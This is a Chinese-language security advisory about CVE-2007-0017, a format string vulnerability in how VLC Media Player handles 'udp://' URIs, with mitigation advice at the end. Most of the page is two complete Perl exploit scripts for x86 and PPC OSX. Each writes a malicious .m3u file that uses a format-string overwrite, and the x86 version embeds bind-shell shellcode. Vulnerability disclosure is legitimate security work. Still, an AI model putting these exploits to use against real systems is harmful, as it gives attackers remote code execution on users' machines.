首页 -> 安全研究
安全研究
安全漏洞
VLC Media Player畸形“udp://”URI格式串处理漏洞
发布日期:2007-01-04
更新日期:2007-01-04
受影响系统:
VideoLAN VLC Media Player 0.x描述:
BUGTRAQ ID: 21852
CVE(CAN) ID: CVE-2007-0017
VLC Media Player是一款免费的媒体播放器。
VLC Media Player在处理畸形的URI串时存在漏洞,远程攻击者可能利用此漏洞在用户机器上执行任意指令。
VLC Media Player在处理“udp://”开头的URI串时存在格式串处理漏洞,远程攻击者可能利用此漏洞通过诱使用户访问恶意网页或打开恶意M3U文件控制用户机器。
<*来源:LMH (lmh@info-pull.com)
Kevin Finisterre
链接:http://secunia.com/advisories/23592/
http://www.videolan.org/sa0701.html
http://projects.info-pull.com/moab/MOAB-02-01-2007.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#
# http://www.digitalmunition.com/VLCMediaSlayer-x86.pl
# Code by Kevin Finisterre kf_lists[at]digitalmunition[dot]com
#
# This exploit will create a malicious .m3u file that will cause VLC Player for OSX to execute arbitrary code.
#
$outfile = "pwnage.m3u";
$bindshell =
"\x6a\x42\x58\xcd\x80\x6a\x61\x58\x99\x52\x68\x10\x02\x11\x5c\x89" .
"\xe1\x52\x42\x52\x42\x52\x6a\x10\xcd\x80\x99\x93\x51\x53\x52\x6a" .
"\x68\x58\xcd\x80\xb0\x6a\xcd\x80\x52\x53\x52\xb0\x1e\xcd\x80\x97" .
"\x6a\x02\x59\x6a\x5a\x58\x51\x57\x51\xcd\x80\x49\x0f\x89\xf1\xff" .
"\xff\xff\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50" .
"\x54\x54\x53\x53\xb0\x3b\xcd\x80";
# MALLOC 02800000-03008000 [ 8224K] rw-/rwx SM=COW ...e_0x1300000
# Pattern found @ 0x298589e
# Pattern found @ 0x298ba92
$jmpaddr = 0x41424344;
$lo = ($jmpaddr >> 0) & 0xffff;
$hi = ($jmpaddr >> 16) & 0xffff;
printf "jump address is: 0x%x%x\n", $hi, $lo;
$format = "%25" . ($lo-0x24) . "d" . "%25" . "23" . "%24" . "hn" . "%25" . ($hi-$lo) . "d" . "%25" . "24" . "%24" . "hn" ;
$writeaddr = 0xa0011393 ; # <dyld_stub___vfprintf>
printf "writing to file: %s\n", $outfile;
open(PWNED,">$outfile");
print PWNED "#EXTM3U\n" . "#EXTINF:0,1-07 " . "\x90" x 50 . $bindshell . "\n" .
"udp://--" . pack('l', $writeaddr+2) . pack('l', $writeaddr) .
$format . "i" x (999 - length("Can't get file status for ") ) . "\n";
close(PWNED);
================================================================
#!/usr/bin/perl
#
# http://www.digitalmunition.com/VLCMediaSlayer-ppc.pl
# Code by Kevin Finisterre kf_lists[at]digitalmunition[dot]com
#
# This is just a vanilla format string exploit for OSX on ppc. We overwrite a saved return addy with our shellcode address.
# This code currently overwrites the saved return addy with the stack location of our shellcode.
#
# This exploit will create a malicious .m3u file that will cause VLC Player for OSX to execute arbitrary code.
#
# 0xf02031d2: "--? 0j? 0h%11$hn.%12$hn", 'X' <repeats 177 times>...
# 0xf020329a: 'X' <repeats 200 times>...
# 0xf0203362: 'X' <repeats 200 times>...
# 0xf020342a: 'X' <repeats 200 times>...
# 0xf02034f2: 'X' <repeats 194 times>, "ZY"
# 0xf02035b7: ""
# 0xf02035b8: 'X' <repeats 16 times>, "? 5?\005\017G?? 60"
# 0xf02035d5: ""
# 0xf02035d6: ""
# 0xf02035d7: "\004\005\016
$format =
# make it more robust yourself... I'm lazy
# land in 0xf020 3362 - middle of shellcode
# "%2511%24hn.%2512%24hn" .
#
"%25" . (0x3362-0x24) . "d" . "%25" . "11" . "%24" . "hn" .
"%25" . 0xBCBE . "d" . "%25" . "12" . "%24" . "hn" ;
# 0xf020 3068 saved ret for MsgQueue()
$writeaddr = 0xf0203068;
open(PWNED,">pwnage.m3u");
print PWNED "#EXTM3U\n" ."udp://--" . pack('l', $writeaddr+2) . pack('l', $writeaddr) .
$format ."i" x (999 - length("Can't get file status for ") ) ."\n";
close(PWNED);
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 不要打开来源不可信任的M3U文件。
厂商补丁:
VideoLAN
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.videolan.org/
浏览次数:5144
严重程度:0(网友投票)
绿盟科技给您安全的保障